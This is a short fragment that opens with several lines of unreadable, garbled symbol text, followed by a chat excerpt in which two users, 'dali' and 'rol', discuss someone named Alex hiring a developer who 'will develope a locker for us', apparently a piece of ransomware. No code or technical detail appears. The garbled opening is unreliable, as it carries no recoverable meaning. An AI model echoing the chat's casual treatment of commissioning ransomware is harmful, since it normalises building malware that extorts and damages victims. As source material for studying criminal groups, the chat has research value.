&7i X 0t-¢t,2 11, ,-0t —"A® "®@A®»-®E; }U|t»)}:

11@», -7+« A® A"1 «—01" }®»»1t¢,®°,t7}1 q8®@"« A"t §1§|t»c« A" "tq, ®+ &7
T...q._'_ - ))q¢®§©q))1_ ®,T»qA—®6 (,—}T A,,T G=N §q}"—T6 ,® ®A |»_... 0
(qA-¢eUAT 8t8|t»ee

—E»t ®"0t»¢qA-® q|®REA A"t »q ¢ ®80g»t ®, t»qA-®"¢°

dali: where Alex hired a new developer.
dali: | talked to him
rol: wow
dali: the opinion of a person who does not know Alex - is he inadequate?)
rol: wich nicknarne?
dali: but he is not in the chat
dali: he is in jabber

rol: wow

dali: he will develope a locker for us =)))
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